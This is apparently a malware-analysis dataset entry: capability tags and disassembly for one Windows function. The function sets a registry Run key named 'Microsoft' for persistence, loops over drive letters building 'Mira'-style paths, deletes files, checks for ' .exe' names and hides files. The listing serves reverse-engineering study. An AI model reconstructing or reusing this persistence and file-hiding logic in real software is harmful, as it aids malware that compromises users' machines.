Function at 0x4014cc
Capabilities:
Delete file
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1ec
mov dword [ebp - 0x1b4], sym.unk_21
mov dword [ebp - 0x1b0], 0x43c52e
lea eax, [ebp - 0x1ac]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401950
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x1cc]
mov dword [esp], eax
call fcn.0040d050
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43e020
mov dword [esp], 0
mov dword [ebp - 0x1c8], 0xffffffff
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 8], 0x442010
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyA
sub esp, 0xc
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 0x43e020
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Microsoft
mov eax, dword [0x442010]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [0x442010]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov dword [ebp - 0x1c], 0
movzx eax, byte [0x43f055]
mov byte [ebp - 0x68], al
lea edi, [ebp - 0x67]
cld
mov ecx, 0x3f
mov al, 0
rep stosb byte es:[edi], al
movzx eax, byte [0x43f055]
mov byte [ebp - 0x88], al
lea edi, [ebp - 0x87]
cld
mov ecx, 0x1f
mov al, 0
rep stosb byte es:[edi], al
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0x63
cmp dword [ebp - 0x94], 0x7a
jg 0x4019cc
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x88]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 0xffffffff
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x94]
mov byte [ebp - 0x88], al
mov eax, dword [ebp - 0x94]
mov byte [ebp - 0x89], al
mov byte [ebp - 0x87], 0x3a
mov byte [ebp - 0x86], 0x5c
mov byte [ebp - 0x85], 0x4d
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x72
mov byte [ebp - 0x82], 0x61
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [eax*4]
add eax, edx
sub ecx, eax
mov eax, ecx
add al, 0x61
mov byte [ebp - 0x81], al
mov dword [esp + 4], 0x20
mov dword [esp], 0x10
call sym.unk_10
mov dword [esp + 8], eax
lea eax, [ebp - 0x88]
mov dword [esp + 4], eax
lea eax, [ebp - 0x198]
mov dword [esp], eax
call sym.unk_67
lea eax, [ebp - 0x198]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 1
call sym.unk_66
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sym.unk_8
test al, al
je 0x4019a7
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x94]
mov byte [ebp - 0x88], al
mov dword [esp + 4], 0x43f095
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x88]
mov dword [esp], eax
call fcn.0040e250
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 1
call fcn.0040e470
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
je 0x401939
mov byte [section..data], 1
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 0x94]
mov byte [ebp - 0x88], al
mov dword [esp + 4], 0x43f095
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 0x90]
add eax, 8
mov dword [esp + 4], eax
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str._.exe
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
sub eax, 6
mov word [0x442014], ax
movsx eax, word [0x442014]
cmp byte [eax + ebp - 0x88], 0x65
jne 0x401881
movsx eax, word [0x442014]
cmp byte [eax + ebp - 0x89], 0x78
jne 0x401881
movsx eax, word [0x442014]
cmp byte [eax + ebp - 0x8a], 0x65
jne 0x401881
movsx eax, word [0x442014]
cmp byte [eax + ebp - 0x8b], 0x2e
jne 0x401881
movsx eax, word [0x442014]
cmp byte [eax + ebp - 0x8c], 0x20
jne 0x401881
mov byte [section..data], 0
lea eax, [ebp - 0x88]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 1
call sym.unk_8
test al, al
jne 0x401934
cmp byte [section..data], 0
je 0x401934
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sym.unk_11
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov word [0x442014], ax
movsx eax, word [0x442014]
mov byte [eax + ebp - 0x89], 0
movsx eax, word [0x442014]
mov byte [eax + ebp - 0x8a], 0
movsx eax, word [0x442014]
mov byte [eax + ebp - 0x8b], 0
movsx eax, word [0x442014]
mov byte [eax + ebp - 0x8c], 0
movsx eax, word [0x442014]
mov byte [eax + ebp - 0x8d], 0
mov dword [esp + 4], 2
lea eax, [ebp - 0x88]
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
jmp 0x40176e
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 1
call fcn.0040e5c0
jmp 0x4019a7
lea eax, [ebp - 0x198]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 0xffffffff
call sym.unk_52
lea eax, [ebp - 0x94]
inc dword [eax]
jmp 0x401603
mov dword [esp], 0xbb8
mov dword [ebp - 0x1c8], 0xffffffff
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x4015f9